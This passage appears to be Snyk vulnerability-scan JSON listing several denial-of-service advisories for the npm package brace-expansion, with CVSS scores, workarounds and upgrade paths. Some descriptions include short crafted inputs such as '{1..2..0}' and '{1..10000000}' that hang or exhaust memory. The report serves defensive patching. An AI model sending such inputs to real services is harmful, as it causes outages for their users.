"baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], 